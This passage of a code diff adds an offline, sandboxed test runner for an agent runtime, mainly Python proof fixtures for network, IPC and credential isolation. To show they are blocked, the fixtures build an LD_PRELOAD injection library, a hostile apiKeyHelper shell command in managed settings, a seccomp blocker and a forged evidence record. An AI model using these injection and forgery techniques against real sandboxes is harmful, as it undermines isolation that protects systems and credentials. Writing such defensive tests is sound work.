"@anthropic-ai/claude-agent-sdk"; +import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; +import {requireOfflineRunner} from "./qualification"; +const view=requireOfflineRunner(),runtime=bundledClaudeBinary(); +if(!runtime)throw Error("NATIVE_LAUNCH_WITNESS_REQUIRES_INSTALLED_RUNTIME"); +if(process.argv.includes("--tripwire-mutation"))copyFileSync(new URL("../../.test-tools/native-stub",import.meta.url),runtime); +const began=performance.now(); +const version=Bun.spawnSync([runtime,"--version"],{stdout:"pipe",stderr:"pipe",timeout:/* native-product-timing: Unchanged five-second installed-runtime version probe. */5000}); +if(version.exitCode!==0||!version.stdout.toString().includes("Claude Code"))throw Error("ACTUAL_NATIVE_VERSION_WITNESS: "+version.stderr.toString()); +const versionMs=performance.now()-began; +if(versionMs>=5000)throw Error("ACTUAL_NATIVE_VERSION_WITHIN_UNCHANGED_FIVE_SECONDS"); +const nonce="Odysseus-"+crypto.randomUUID();let calls=0; +const server=Bun.serve({hostname:"127.0.0.1",port:0,async fetch(request){ + const body=await request.text(); + if(!new URL(request.url).pathname.endsWith("/messages"))return Response.json({}); + if(body.includes(nonce))calls++; + const message={id:"msg_odysseus",type:"message",role:"assistant",content:[],model:"claude-haiku-4-5",stop_reason:null,stop_sequence:null,usage:{input_tokens:1,output_tokens:0}}; + const rows=[{type:"message_start",message},{type:"content_block_start",index:0,content_block:{type:"text",text:""}},{type:"content_block_delta",index:0,delta:{type:"text_delta",text:nonce}},{type:"content_block_stop",index:0},{type:"message_delta",delta:{stop_reason:"end_turn",stop_sequence:null},usage:{output_tokens:1}},{type:"message_stop"}]; + return new Response(rows.map(row=>`event: ${row.type}\ndata: ${JSON.stringify(row)}\n\n`).join(""),{headers:{"content-type":"text/event-stream"}}); +}}); +try{ + let initialized=false,answered=false; + const stream=query({prompt:"Reply with "+nonce,options:{pathToClaudeCodeExecutable:runtime,model:"claude-haiku-4-5",maxTurns:1,tools:[],settingSources:[],env:{...process.env,ANTHROPIC_API_KEY:"offline-odysseus",ANTHROPIC_BASE_URL:server.url.origin}}}); + const watchdog=setTimeout(()=>stream.close(),watchdogMs(60000)); + try{for await(const row of stream){if(row.type==="system"&&row.subtype==="init")initialized=true;if(row.type==="result"&&row.subtype==="success"&&row.result.includes(nonce))answered=true;}}finally{clearTimeout(watchdog);stream.close();} + if(!initialized||!answered||calls<1)throw Error("ACTUAL_NATIVE_INITIALIZATION_AND_NONCE_REQUEST_WITNESS"); + console.log(JSON.stringify({kind:"offline-native-witness",success:true,profile:view.profile,namespaces:view.namespaces,version:version.stdout.toString().trim(),versionMs,calls,initialized,answered})); +}finally{await server.stop(true);} diff --git a/scripts/offline-runner/pipes.ts b/scripts/offline-runner/pipes.ts new file mode 100644 index 0000000000..1cedaa0ab4 --- /dev/null +++ b/scripts/offline-runner/pipes.ts @@ -0,0 +1,76 @@ +/** Real OS pipes for the static entry, with Bun's nonblocking I/O readers. */ +import {dlopen,ptr} from "bun:ffi"; +import {closeSync,fstatSync,mkdtempSync,openSync,readFileSync,rmSync,writeFileSync} from "node:fs"; +import {join} from "node:path"; +const api=dlopen("libc.so.6",{ + pipe2:{args:["ptr","i32"],returns:"i32"}, + fcntl:{args:["i32","i32","i32"],returns:"i32"}, +}); +const pipe=()=>{ + const fds=new Int32Array(2); + if(api.symbols.pipe2(ptr(fds),0o2004000)!==0)throw Error("offline native isolation unavailable: stdio pipe"); + return [...fds] as [number,number]; +}; +function releaseDescriptor(fd:number){ + const expected=fstatSync(fd);let live=true; + return ()=>{ + if(!live)return;live=false; + try{const actual=fstatSync(fd);if(actual.dev===expected.dev&&actual.ino===expected.ino)closeSync(fd);}catch{} + }; +} +type Options=Record; +export function spawnEntry(native:Function,receiver:unknown,sync:boolean,command:string[],options:Options):unknown { + const requested=Array.isArray(options.stdio)?options.stdio:[options.stdin??"ignore",options.stdout??"pipe",options.stderr??"inherit"]; + if(sync){ + const folder=mkdtempSync("/tmp/odysseus-entry-stdio-");const descriptors:number[]=[]; + try{ + const stdio=requested.map((value,index)=>{ + if(value===null)return "ignore"; + if(index>2||typeof value==="number"||value==="ignore"||value==="inherit")return value; + const path=join(folder,String(index));writeFileSync(path,index===0&&value!=="pipe"?value as Uint8Array:Buffer.alloc(0));const fd=openSync(path,index===0?"r":"w");descriptors.push(fd);return fd; + }); + const result=Reflect.apply(native,receiver,[command,{...options,stdin:undefined,stdout:undefined,stderr:undefined,stdio}]); + return {...result,...(requested[1]==="pipe"?{stdout:readFileSync(join(folder,"1"))}:{}),...(requested[2]==="pipe"?{stderr:readFileSync(join(folder,"2"))}:{})}; + }finally{for(const fd of descriptors)closeSync(fd);rmSync(folder,{recursive:true,force:true});} + } + const childEnds:number[]=[];const disposeParents:Array<()=>void>=[];const streams:Record={}; + try{ + const stdio=requested.map((value,index)=>{ + if(value===null)return "ignore"; + if(index>2||typeof value==="number"||value==="ignore"||value==="inherit")return value; + const [read,write]=pipe(),childEnd=index===0?read:write,parentEnd=index===0?write:read; + childEnds.push(childEnd); + const flags=api.symbols.fcntl(childEnd,3,0); + if(flags<0||api.symbols.fcntl(childEnd,4,flags&~0o4000)<0){closeSync(parentEnd);throw Error("offline native isolation unavailable: blocking child stdio");} + const release=releaseDescriptor(parentEnd); + if(index===0){ + const sink=Bun.file(write).writer();let ending:Promise|undefined; + const end=()=>ending??=Promise.resolve(sink.end()).finally(release); + disposeParents.push(()=>{void end().catch(()=>{});}); + if(value==="pipe")streams.stdin=new Proxy(sink,{get(target,key){if(key==="end")return end;const item=Reflect.get(target,key,target);return typeof item==="function"?item.bind(target):item;}}); + else{ + streams.stdin=undefined; + void (async()=>{ + try{ + const input=value instanceof ReadableStream?value:value instanceof Blob?value.stream():value instanceof Response||value instanceof Request?value.body:undefined; + if(input){for await(const bytes of input){sink.write(bytes);await sink.flush();}} + else sink.write(value as Uint8Array); + await end(); + }catch{try{await end();}catch{}release();} + })(); + } + }else{ + const reader=Bun.file(read).stream().getReader(); + disposeParents.push(()=>{void reader.cancel().catch(()=>{}).finally(release);}); + streams[index===1?"stdout":"stderr"]=new ReadableStream({ + async pull(controller){try{const item=await reader.read();if(item.done){release();controller.close();}else controller.enqueue(item.value);}catch(error){release();controller.error(error);}}, + async cancel(reason){try{await reader.cancel(reason);}finally{release();}}, + }); + } + return childEnd; + }); + const child=Reflect.apply(native,receiver,[command,{...options,stdin:undefined,stdout:undefined,stderr:undefined,stdio}]); + for(const fd of childEnds)closeSync(fd);childEnds.length=0; + return new Proxy(child,{get(target,key){if(typeof key==="string"&&key in streams)return streams[key];const value=Reflect.get(target,key,target);return typeof value==="function"?value.bind(target):value;}}); + }catch(error){for(const fd of childEnds)try{closeSync(fd);}catch{}for(const dispose of disposeParents)dispose();throw error;} +} diff --git a/scripts/offline-runner/prepare.sh b/scripts/offline-runner/prepare.sh new file mode 100755 index 0000000000..98afcadc39 --- /dev/null +++ b/scripts/offline-runner/prepare.sh @@ -0,0 +1,29 @@ +#!/usr/bin/env bash +# Explicit tool preparation, never invoked automatically by tests or sudoers. +set -euo pipefail +runner_root=$(cd "$(dirname "$0")/../.." && pwd -P) +runner_bun=$(command -v bun) +runner_bun=$(readlink -f "$runner_bun") +if [[ "$runner_bun" = "$runner_root/.test-tools/entry" ]]; then runner_bun=$(cat "$runner_root/.test-tools/bun-path"); fi +runner_cc=$(command -v cc) +mkdir -p "$runner_root/.test-tools" +"$runner_cc" -static -O2 -Wall -Wextra -Werror \ + -DBRAIN_TEST_ROOT="\"$runner_root\"" -DBRAIN_TEST_BUN="\"$runner_bun\"" \ + "$runner_root/scripts/offline-runner/bootstrap.c" -o "$runner_root/.test-tools/entry" +printf '%s\n' "$runner_bun" > "$runner_root/.test-tools/bun-path" +"$runner_cc" -static -O2 -Wall -Wextra -Werror "$runner_root/scripts/offline-runner/runtime-stub.c" -o "$runner_root/.test-tools/native-stub" +chmod 0555 "$runner_root/.test-tools/native-stub" +ln -sf entry "$runner_root/.test-tools/bun" +printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking project tests.\n' "$runner_root" +if [[ "${1:-}" = --install-system ]]; then + [[ $(id -u) = 0 ]] || { echo 'Install the fixed setup entry explicitly as root.' >&2; exit 1; } + install -d -m 0755 /usr/local/libexec/brain-test + for runner_part in runner.py view_client.py view_service.py; do + install -m 0644 "$runner_root/scripts/offline-runner/$runner_part" "/usr/local/libexec/brain-test/$runner_part" + done + "$runner_cc" -static -O2 -Wall -Wextra -Werror \ + -DBRAIN_TEST_ROOT="\"$runner_root\"" -DBRAIN_TEST_BUN="\"$runner_bun\"" \ + -DBRAIN_TEST_ROOT_HELPER=1 -DBRAIN_TEST_SETUP='"/usr/local/libexec/brain-test/runner.py"' \ + "$runner_root/scripts/offline-runner/bootstrap.c" -o /usr/local/libexec/brain-test-setup + chmod 0755 /usr/local/libexec/brain-test-setup +fi diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py new file mode 100644 index 0000000000..5024a92eaf --- /dev/null +++ b/scripts/offline-runner/proof.py @@ -0,0 +1,394 @@ +"""Controlled outer fixtures for the offline runner. No real provider or key.""" +import ctypes +import json +import os +import pathlib +import select +import shutil +import socket +import subprocess +import tempfile +import threading + +ROOT = pathlib.Path(__file__).resolve().parents[2] +ENTRY = ROOT / '.test-tools/entry' +LIBC = ctypes.CDLL(None, use_errno=True) + + +def named(condition, name): + if not condition: + raise AssertionError(name) + + +def listener(family): + channel = socket.socket(family) + channel.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + channel.bind(('127.0.0.1' if family == socket.AF_INET else '::1', 0)) + channel.listen() + return channel + + +INNER = r''' +import ctypes,json,os,pathlib,socket,subprocess,sys +fixture=json.loads(sys.argv[1]);libc=ctypes.CDLL(None,use_errno=True) +def named(condition,name): + if not condition:raise AssertionError(name) +def connects(family,address): + s=socket.socket(family);s.settimeout(.5) + try:s.connect(tuple(address));return True + except OSError:return False + finally:s.close() +named(not connects(socket.AF_INET,fixture['v4']),'OFFLINE_IPV4_OUTER_LISTENER_UNREACHABLE') +named(not connects(socket.AF_INET6,fixture['v6']),'OFFLINE_IPV6_OUTER_LISTENER_UNREACHABLE') +for family,address in [(socket.AF_INET,('127.0.0.1',0)),(socket.AF_INET6,('::1',0))]: + server=socket.socket(family);server.bind(address);server.listen() + client=socket.socket(family);client.connect(server.getsockname());peer,_=server.accept();client.sendall(b'Ithaca');named(peer.recv(6)==b'Ithaca','INNER_LOOPBACK_TCP_WORKS');client.close();peer.close();server.close() +outer=socket.socket(socket.AF_UNIX) +try: + try:outer.connect(fixture['unix']);reached=True + except OSError:reached=False + named(not reached,'HOST_UNIX_RELAY_UNREACHABLE') +finally:outer.close() +for path in [fixture['unix'],'/proc/%d/root%s'%(fixture['pid'],fixture['unix'])]: + named(not pathlib.Path(path).exists(),'HOST_UNIX_RELAY_NO_PROC_ALIAS') +local=socket.socket(socket.AF_UNIX);local.bind('/tmp/odysseus-fixture.sock');local.listen() +peer=socket.socket(socket.AF_UNIX);peer.connect('/tmp/odysseus-fixture.sock');accepted,_=local.accept();peer.sendall(b'Ithaca');named(accepted.recv(6)==b'Ithaca','FIXTURE_UNIX_SOCKET_WORKS');accepted.close();peer.close();local.close() +buffer=ctypes.create_string_buffer(4096) +named(libc.msgctl(fixture['queue'],2,ctypes.byref(buffer))==-1,'OUTER_SYSTEM_V_QUEUE_INACCESSIBLE') +queue=libc.msgget(0,0o1000|0o600);named(queue>=0,'INNER_SYSTEM_V_QUEUE_WORKS');named(libc.msgctl(queue,0,None)==0,'INNER_SYSTEM_V_QUEUE_CLEANUP') +record=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) +named(os.getuid()==fixture['uid'],'FINAL_EXECUTABLE_UID_PARITY') +named(os.getgid()==fixture['gid'],'FINAL_EXECUTABLE_GID_PARITY') +named(os.getgroups()==fixture['groups'],'FINAL_EXECUTABLE_SUPPLEMENTARY_GROUP_PARITY') +if fixture['rootless']: + named(os.getuid()!=0,'ROOTLESS_DOES_NOT_TAKE_ROOT_BRANCH') + named(record['profile']=='rootless','ROOTLESS_ACTUAL_PROFILE') + named(pathlib.Path('/proc/self/uid_map').read_text()==record['uidMap'],'ROOTLESS_ACTUAL_UID_MAP') + named(pathlib.Path('/proc/self/gid_map').read_text()==record['gidMap'],'ROOTLESS_ACTUAL_GID_MAP') +named('ANTHROPIC_API_KEY' not in os.environ,'INHERITED_CREDENTIAL_ENV_REMOVED_BEFORE_INTERPRETER') +named(not (pathlib.Path(fixture['root'])/'.env').exists(),'INVOKING_CHECKOUT_ENV_ABSENT') +(pathlib.Path(fixture['root'])/'tmp').mkdir(exist_ok=True) +policy=pathlib.Path('/etc/claude-code/managed-settings.json') +if policy.exists(): + settings=json.loads(policy.read_text()) + subprocess.run(settings['apiKeyHelper'],shell=True,check=True) +count=pathlib.Path(fixture['root'])/'tmp/odysseus-helper-counter' +named(not count.exists(),'MANAGED_SETTINGS_HELPER_NOT_INVOKED') +# A fixture-created explicit env file is distinct from both removed sentinels. +pathlib.Path('/tmp/odysseus-fixture.env').write_text('ODYSSEUS_EXPLICIT_SENTINEL=fixture-owned\n') +script='if(process.env.ANTHROPIC_API_KEY||process.env.ODYSSEUS_CHECKOUT_SENTINEL)throw Error("STARTUP_ENV_IS_CLEAN");if(process.env.ODYSSEUS_EXPLICIT_SENTINEL!=="fixture-owned")throw Error("EXPLICIT_FIXTURE_ENV_PRESERVED");console.log("fixture-env-ok")' +result=subprocess.run([fixture['bun'],'--no-env-file','--env-file=/tmp/odysseus-fixture.env','-e',script],capture_output=True,text=True) +named(result.returncode==0,'LATER_BUN_STARTUP_AND_EXPLICIT_ENV_FILE: '+result.stderr) +print(json.dumps({'offlineP1':'pass','profile':record['profile'],'uid':os.getuid(),'gid':os.getgid(),'groups':os.getgroups(),'net':record['namespaces']['net'],'ipc':record['namespaces']['ipc']})) +''' + + +def run_case(rootless=False): + v4, v6 = listener(socket.AF_INET), listener(socket.AF_INET6) + queue = LIBC.msgget(0, 0o1000 | 0o666) + named(queue >= 0, 'OUTER_SYSTEM_V_QUEUE_POSITIVE_CONTROL') + with tempfile.TemporaryDirectory(prefix='odysseus-outer-ipc-') as directory: + os.chmod(directory,0o755) + relay = socket.socket(socket.AF_UNIX) + relay.bind(directory + '/relay.sock');os.chmod(directory+'/relay.sock',0o666);relay.listen() + # Real native socket positive controls use the same destinations. + for family, server in [(socket.AF_INET,v4),(socket.AF_INET6,v6)]: + client=socket.socket(family);client.connect(server.getsockname());accepted,_=server.accept();accepted.close();client.close() + client=socket.socket(socket.AF_UNIX);client.connect(directory+'/relay.sock');accepted,_=relay.accept();accepted.close();client.close() + uid,gid,groups=(1000,1000,[]) if rootless else (os.getuid(),os.getgid(),os.getgroups()) + value={'v4':v4.getsockname(),'v6':v6.getsockname(),'unix':directory+'/relay.sock','queue':queue,'pid':os.getpid(),'uid':uid,'gid':gid,'groups':groups,'rootless':rootless,'root':str(ROOT),'bun':str(ROOT/'.test-tools/bun-path')} + value['bun']=(ROOT/'.test-tools/bun-path').read_text().strip() + if rootless: + control='import ctypes,socket;libc=ctypes.CDLL(None);buffer=ctypes.create_string_buffer(4096);assert libc.msgctl('+str(queue)+',2,ctypes.byref(buffer))==0;s=socket.socket(socket.AF_UNIX);s.connect('+repr(directory+'/relay.sock')+');s.close()' + checked=subprocess.run(['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups','/usr/bin/python3','-I','-S','-c',control]) + named(checked.returncode==0,'ROOTLESS_OUTER_IPC_POSITIVE_CONTROL');accepted,_=relay.accept();accepted.close() + command=[str(ENTRY),*(['--rootless'] if rootless else []),'/usr/bin/python3','-I','-S','-c',INNER,json.dumps(value)] + if rootless:command=['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups',*command] + result=subprocess.run(command,env={**os.environ,'ANTHROPIC_API_KEY':'inherited-odysseus-sentinel'},capture_output=True,text=True) + print(result.stdout,end='');print(result.stderr,end='',file=__import__('sys').stderr) + named(result.returncode==0,'QUALIFIED_P1_'+('ROOTLESS' if rootless else 'ROOT')+'_EXECUTION') + named(not select.select([v4,v6,relay],[],[],0)[0],'OFFLINE_BOUNDARY_HAS_NO_OUTER_CONNECTION') + relay.close() + LIBC.msgctl(queue,0,None);v4.close();v6.close() + + + +def loader_and_denied_startup(): + with tempfile.TemporaryDirectory(prefix='odysseus-startup-proof-') as directory: + directory=pathlib.Path(directory) + sentinel=directory/'loader-sentinel' + library=directory/'loader.so' + source=directory/'loader.c' + source.write_text('#include \n#include \n#include \n__attribute__((constructor)) static void witness(void){const char *p=getenv("ODYSSEUS_LD_SENTINEL");if(p){int fd=open(p,O_CREAT|O_WRONLY,0600);if(fd>=0)close(fd);}}\n') + subprocess.run(['/usr/bin/cc','-shared','-fPIC',str(source),'-o',str(library)],check=True) + env={**os.environ,'LD_PRELOAD':str(library),'ODYSSEUS_LD_SENTINEL':str(sentinel)} + subprocess.run(['/usr/bin/true'],env=env,check=True) + named(sentinel.exists(),'LD_PRELOAD_SENTINEL_POSITIVE_CONTROL');sentinel.unlink() + blocker=directory/'deny-namespaces' + code=directory/'deny.c' + code.write_text('#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \nint main(int argc,char **argv){struct sock_filter f[]={BPF_STMT(BPF_LD|BPF_W|BPF_ABS,offsetof(struct seccomp_data,nr)),BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,__NR_unshare,0,1),BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ERRNO|EPERM),BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_ALLOW)};struct sock_fprog p={4,f};if(argc<2||prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)||prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&p))return 126;execv(argv[1],argv+1);return 127;}\n') + subprocess.run(['/usr/bin/cc','-static',str(code),'-o',str(blocker)],check=True) + startup=ROOT/'scripts/offline-runner/proof-startup.ts' + startup_marker=ROOT/'tmp/odysseus-startup-sentinel' + startup_marker.parent.mkdir(exist_ok=True) + startup.write_text('await Bun.write('+json.dumps(str(startup_marker))+',"Odysseus startup");') + bun=(ROOT/'.test-tools/bun-path').read_text().strip() + try: + direct=subprocess.run([bun,'--no-env-file','--preload',str(startup),'-e','void 0'],capture_output=True,text=True) + named(direct.returncode==0 and startup_marker.exists(),'BUN_STARTUP_SENTINEL_POSITIVE_CONTROL');startup_marker.unlink() + denied=subprocess.run([str(blocker),str(ENTRY),bun,'--preload',str(startup),'-e','void 0'],env=env,capture_output=True,text=True) + named(denied.returncode==125,'DENIED_SETUP_HAS_FIXED_FAILURE') + named(not startup_marker.exists(),'DENIED_SETUP_PRECEDES_STARTUP_SENTINEL') + named(not sentinel.exists(),'STATIC_BOOTSTRAP_IGNORES_LD_PRELOAD_BEFORE_QUALIFICATION') + # Real mutation: link the same bootstrap dynamically. The loader + # runs the constructor before its clearenv, and the named proof + # must reject that binary even though its C body is unchanged. + dynamic=directory/'dynamic-entry' + subprocess.run(['/usr/bin/cc','-O2','-DBRAIN_TEST_ROOT='+json.dumps(str(ROOT)),'-DBRAIN_TEST_BUN='+json.dumps(bun),str(ROOT/'scripts/offline-runner/bootstrap.c'),'-o',str(dynamic)],check=True) + subprocess.run([str(blocker),str(dynamic),'/usr/bin/true'],env=env,capture_output=True,text=True) + named(sentinel.exists(),'DYNAMIC_BOOTSTRAP_MUTATION_REACHES_LOADER_SENTINEL') + print(json.dumps({'proof':'R1_R2_DENIED_STARTUP_AND_STATIC_LOADER','result':'pass','mutation':'dynamic bootstrap rejected by loader sentinel'})) + finally: + startup.unlink(missing_ok=True);startup_marker.unlink(missing_ok=True) + + +def descriptor_controls(): + with tempfile.TemporaryDirectory(prefix='odysseus-fd-proof-') as directory: + marker=pathlib.Path(directory)/'payload-started' + command=[str(ENTRY),'/usr/bin/python3','-I','-S','-c','print("F5_UNQUALIFIED_PAYLOAD_STARTED")'] + first,second=socket.socketpair() + try: + for where in ('stdin','higher'): + kwargs={'stdin':second} if where=='stdin' else {'pass_fds':(second.fileno(),)} + result=subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE,**kwargs) + named(result.returncode==125 and b'F5_UNQUALIFIED_PAYLOAD_STARTED' not in result.stdout and not marker.exists(),'CONNECTED_'+where.upper()+'_FD_REFUSES_BEFORE_QUALIFICATION') + print(json.dumps({'proof':'F5_CONNECTED_STDIO_AND_HIGHER_DESCRIPTOR','result':'pass'})) + finally:first.close();second.close() + + +def managed_settings_controls(): + # The outer control changes only its own private mount view. It never + # creates /etc/claude-code in the host filesystem, even when absent. + status = pathlib.Path('/etc/claude-code') + before = (status.exists(), status.stat().st_ino if status.exists() else None) + child = os.fork() + if child == 0: + try: + named(LIBC.unshare(0x20000) == 0, 'SETTINGS_CONTROL_PRIVATE_MOUNT') + named(LIBC.mount(None, b'/', None, 16384 | (1 << 18), None) == 0, 'SETTINGS_CONTROL_PRIVATE_PROPAGATION') + with tempfile.TemporaryDirectory(prefix='odysseus-settings-') as folder: + etc = pathlib.Path(folder)/'etc' + shutil.copytree('/etc', etc, symlinks=True) + named(LIBC.mount(os.fsencode(etc), b'/etc', None, 4096, None) == 0, 'SETTINGS_CONTROL_PRIVATE_ETC') + policy = pathlib.Path('/etc/claude-code') + policy.mkdir(exist_ok=True) + counter = ROOT/'tmp/odysseus-helper-counter' + counter.parent.mkdir(exist_ok=True) + settings = policy/'managed-settings.json' + settings.write_text(json.dumps({'apiKeyHelper':'printf Odysseus > '+str(counter)})) + subprocess.run(['/bin/sh','-c',json.loads(settings.read_text())['apiKeyHelper']],check=True) + named(counter.read_text() == 'Odysseus', 'MANAGED_HELPER_POSITIVE_CONTROL') + counter.unlink() + pinned=(settings.stat().st_ino,settings.stat().st_mode,settings.read_bytes()) + run_case(False) + run_case(True) + named(pinned==(settings.stat().st_ino,settings.stat().st_mode,settings.read_bytes()),'HOSTILE_POLICY_CONTENT_INODE_MODE_UNCHANGED') + named(not counter.exists(), 'MANAGED_HELPER_NEVER_REACHES_HOST_COUNTER') + LIBC.umount2(b'/etc',2) + os._exit(0) + except BaseException: + __import__('traceback').print_exc();os._exit(1) + _, code = os.waitpid(child,0) + named(os.waitstatus_to_exitcode(code)==0,'F6_HOSTILE_SETTINGS_BOTH_PROFILES') + after = (status.exists(), status.stat().st_ino if status.exists() else None) + named(before==after,'MANAGED_SETTINGS_HOST_STATE_UNCHANGED_AFTER_TEARDOWN') + print(json.dumps({'proof':'F6_MANAGED_SETTINGS_PRIVATE_BACKING_AND_POSITIVE_HELPER','result':'pass','hostBefore':before,'hostAfter':after}),flush=True) + + +def immutable_mount_control(): + code = r""" +import ctypes,json,pathlib,subprocess,sys +libc=ctypes.CDLL(None,use_errno=True) +result=libc.mount(b'tmpfs',b'/tmp',b'tmpfs',0,None) +assert result == -1 and ctypes.get_errno() == 1, 'ADMITTED_MOUNT_MUTATION_MUST_BE_DENIED' +record=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) +assert record['mountHash']==__import__('hashlib').sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() +print('ADMITTED_MOUNT_IMMUTABLE') +""" + for rootless in (False,True): + command=[str(ENTRY),*(['--rootless'] if rootless else []),'/usr/bin/python3','-I','-S','-c',code] + if rootless:command=['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups',*command] + result=subprocess.run(command,capture_output=True,text=True) + named(result.returncode==0 and 'ADMITTED_MOUNT_IMMUTABLE' in result.stdout,'R3_FINALIZED_MOUNT_VIEW_'+str(rootless)+': '+result.stderr) + print(json.dumps({'proof':'R3_ADMITTED_VIEW_HAS_NO_MOUNT_AUTHORITY','result':'pass'}),flush=True) + + +def rootless_selection_controls(only=None): + import hashlib + directory=ROOT/'tests/odysseus-offline-selection' + directory.mkdir() + inventory=ROOT/'scripts/offline-runner/rootless-files.json' + original=inventory.read_bytes() + sources={ + 'ordinary.test.ts':'import {test,expect} from "bun:test";test("ordinary interpreter under C",()=>{expect(process.getuid!()).not.toBe(0);console.log("ORDINARY_ROOTLESS_MODULE_RAN");});', + 'setpriv.test.ts':'console.log("REFUSED_MODULE_TOP_LEVEL_RAN");throw Error("incompatible setpriv fixture");', + 'unknown.test.ts':'console.log("UNKNOWN_MODULE_TOP_LEVEL_RAN");throw Error("unknown fixture");', + } + try: + catalog=json.loads(original) + for name,source in sources.items(): + (directory/name).write_text(source) + if name!='unknown.test.ts':catalog['files'][str((directory/name).relative_to(ROOT))]={'sha256':hashlib.sha256(source.encode()).hexdigest(),'compatible':name=='ordinary.test.ts'} + inventory.write_text(json.dumps(catalog)) + (directory/'package.json').write_text(json.dumps({'name':'odysseus-offline-selection','private':True,'scripts':{'test':'bun test ./setpriv.test.ts','ordinary':'bun test ./ordinary.test.ts'}})) + (directory/'bunfig.toml').write_text('[test]\npreload = ['+json.dumps(str(ROOT/'scripts/test-network-preload.ts'))+']\n') + bun=(ROOT/'.test-tools/bun-path').read_text().strip() + prefix=['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups',str(ENTRY),'--rootless',bun] + cases=[ + ('ordinary',["test",str(directory/'ordinary.test.ts')],True), + ('substring',["test","odysseus-offline-selection/setpriv"],False), + ('unknown',["test",str(directory/'unknown.test.ts')],False), + ('direct-module',[str(directory/'setpriv.test.ts')],False), + ('package-ordinary',["run","--cwd",str(directory),"ordinary"],True), + ('package-incompatible',["run","--cwd",str(directory),"test"],False), + ('nested',["-e",'const child=Bun.spawnSync([process.execPath,"test",'+json.dumps(str(directory/'setpriv.test.ts'))+'],{stdout:"pipe",stderr:"pipe"});console.log(child.stdout.toString());process.exit(child.exitCode);'],False), + ] + for name,args,positive in cases: + if only is not None and name!=only:continue + result=subprocess.run(prefix+args,capture_output=True,text=True) + output=result.stdout+result.stderr + named('REFUSED_MODULE_TOP_LEVEL_RAN' not in output and 'UNKNOWN_MODULE_TOP_LEVEL_RAN' not in output,'R5_REFUSAL_BEFORE_MODULE_SENTINEL_'+name) + named((result.returncode==0)==positive,'R5_SELECTION_RESULT_'+name+': '+output[-1500:]) + if positive:named('ORDINARY_ROOTLESS_MODULE_RAN' in output,'C_ORDINARY_INTERPRETER_TEST_STILL_RUNS') + print(json.dumps({'proof':'R5_ROOTLESS_SELECTION_'+name,'result':'pass','code':result.returncode}),flush=True) + finally: + inventory.write_bytes(original);shutil.rmtree(directory) + + +def forged_evidence_control(): + child=os.fork() + if child==0: + try: + named(LIBC.unshare(0x20000)==0,'FORGED_CONTROL_PRIVATE_MOUNT') + named(LIBC.mount(None,b'/',None,16384|(1<<18),None)==0,'FORGED_CONTROL_PRIVATE_PROPAGATION') + named(LIBC.mount(b'tmpfs',b'/run',b'tmpfs',0,None)==0,'FORGED_CONTROL_PRIVATE_RUN') + folder=pathlib.Path('/run/brain-test');folder.mkdir() + record={'version':1,'profile':'root','root':str(ROOT),'ownerPid':os.getpid(),'ownerStart':pathlib.Path('/proc/self/stat').read_text().rsplit(') ',1)[1].split()[19],'namespaces':{key:os.readlink('/proc/self/ns/'+key) for key in ('net','mnt','ipc','pid','user')},'identity':{'uid':0,'gid':0,'groups':os.getgroups()}} + file=folder/'record.json';file.write_text('{}');os.chmod(file,0o444) + named(LIBC.mount(os.fsencode(file),os.fsencode(file),None,4096,None)==0,'FORGED_CONTROL_RECORD_BIND') + record['mountHash']=__import__('hashlib').sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() + file.write_text(json.dumps(record)) + named(LIBC.mount(None,os.fsencode(file),None,4096|32|1,None)==0,'FORGED_CONTROL_RECORD_READONLY') + # Recompute after the readonly remount through the held writable fd. + fd=os.open(file,os.O_RDONLY) + # The forged record deliberately gets the current mount key right; + # the issuer check, rather than a stale key, must reject it. + named(LIBC.mount(None,os.fsencode(file),None,4096|32,None)==0,'FORGED_CONTROL_UPDATE') + record['mountHash']=__import__('hashlib').sha256(pathlib.Path('/proc/self/mountinfo').read_bytes()).hexdigest() + file.write_text(json.dumps(record));os.close(fd) + command=['/usr/bin/setpriv','--reuid=1000','--regid=1000','--clear-groups','--inh-caps=-all','--ambient-caps=-all','--bounding-set=-all',str(ENTRY),'/usr/bin/python3','-I','-S','-c','print("FORGED_EVIDENCE_PAYLOAD_RAN")'] + result=subprocess.run(command,capture_output=True,text=True) + named(result.returncode==125 and 'borrowed issuer' in result.stderr,'F4_FORGED_ISSUER_REFUSES: '+result.stderr) + named('FORGED_EVIDENCE_PAYLOAD_RAN' not in result.stdout,'F4_FORGED_MARKER_NEVER_EXECUTES_PAYLOAD') + os._exit(0) + except BaseException: + __import__('traceback').print_exc();os._exit(1) + _,status=os.waitpid(child,0) + named(os.waitstatus_to_exitcode(status)==0,'F4_FORGED_LAUNCHER_EVIDENCE') + print(json.dumps({'proof':'F4_FORGED_LAUNCHER_EVIDENCE','result':'pass'}),flush=True) + + +def changed_mount_control(): + import time + code=r""" +import importlib.util,json,os,pathlib,sys +base=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) +spec=importlib.util.spec_from_file_location('client','/run/brain-test/view_client.py');client=importlib.util.module_from_spec(spec);spec.loader.exec_module(client) +pathlib.Path('/tmp/odysseus-r3-target').mkdir() +client.request(base) +print(json.dumps({'kind':'R3_READY','namespaces':base['namespaces'],'pid':os.getpid(),'start':pathlib.Path('/proc/self/stat').read_text().rsplit(') ',1)[1].split()[19]}),flush=True) +assert sys.stdin.readline().strip()=='inspect' +try:client.request(base) +except (OSError,ValueError,KeyError):print('R3_CHANGED_MOUNT_REFUSED',flush=True) +else:print('R3_ACCEPTED_IN_PLACE_MUTATION',flush=True) +""" + 